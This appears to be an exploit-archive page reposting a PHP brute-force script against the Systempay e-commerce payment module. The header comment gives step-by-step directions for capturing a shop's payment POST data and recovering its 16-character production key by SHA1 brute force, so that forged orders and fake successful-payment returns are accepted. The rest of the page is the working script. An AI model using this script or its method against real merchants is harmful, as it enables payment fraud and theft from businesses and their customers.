Ecommerce systempay 1.0 production key brute force Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-02-06 | Type : webapps | Platform : php
This exploit / vulnerability Ecommerce systempay 1.0 production key brute force is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Ecommerce Systempay 1.0 - Production KEY Brute Force
# Author: live3
# Date: 2020-02-05
# Vendor Homepage: https://paiement.systempay.fr/doc/fr-FR/
# Software Link: https://paiement.systempay.fr/doc/fr-FR/module-de-paiement-gratuit/
# Tested on: MacOs
# Version: ALL

<?php
/**
*
* INFORMATION
* Exploit Title: Ecommerce Systempay decode secret production KEY / Brute Force
* Author: live3
* Date: 2020-02-05
* Vendor Homepage: https://paiement.systempay.fr/doc/fr-FR/
* Tested on: MacOs
* Version: ALL
* Prerequisite: Find a ecommerce who is using Systempay AND SHA1 to crypt signature.
* Put some product on cart and choose systempay for payment method.
* get all data from post sent to https://paiement.systempay.fr/vads-payment/
* keep signature as reference and all vads fields to create new signature.
* Use script to make a brute force on Secret product key (16 char length)
*
* Usage: Once you have the production KEY all modifications on form data will be accepted by systempay ! (You will just generate new signature with your changes)
* You will be able to generate a success payment return !
*
* FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES.
* THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
*
*/

// Set the start number you want (16 char length)
$last_key_check = '1000000000000000';

// Assign var
$array_key = array();
$sentence = '';
$how_many_key_to_check_for_loop = 10;

// Put here signature extract from POST DATA
// Example of SHA1 from string : test
$signature_from_post = 'a94a8fe5ccb19ba61c4c0873d391e987982fbbd3';

// Copy paste your content decoded of POST DATA
$form_data = '
vads_field_1: VALUE1
vads_field_2: VALUE2
// AND ALL OTHER FIELDS...
';

$array = explode(PHP_EOL, $form_data);

foreach ($array as $data) {
if ($data != '') {
$elements = explode(': ', $data);
if (!empty($elements)) {
$array_key[trim($elements[0])] = $elements[1];
}
}
}

ksort($array_key);

foreach ($array_key as $value) {
$sentence .= $value . '+';
}


echo 'Signature from POST DATA : '.$signature_from_post.'<br/>';

$found = false;
$get_key = '';

// first check
if (sha1($sentence.$last_key_check) != $signature_from_post) {
for ($i = $last_key_check; $i <= $last_key_check+$how_many_key_to_check_for_loop; $i++) {
$get_key = $i;
if (sha1($sentence.$i) == $signature_from_post) {
echo 'Key found : '.$i.'<br/>';
$found = true;
break;
}
}
} else {
$found = true;
}


if ($found) {
$test_sha = sha1($sentence.$get_key);
echo 'Signature calc : '.$test_sha.'<br/><hr/>';
} else {
echo 'Last key check : '.$get_key.'<br/><hr/>';
}


echo 'Your sequence : '.$sentence.'<br/>';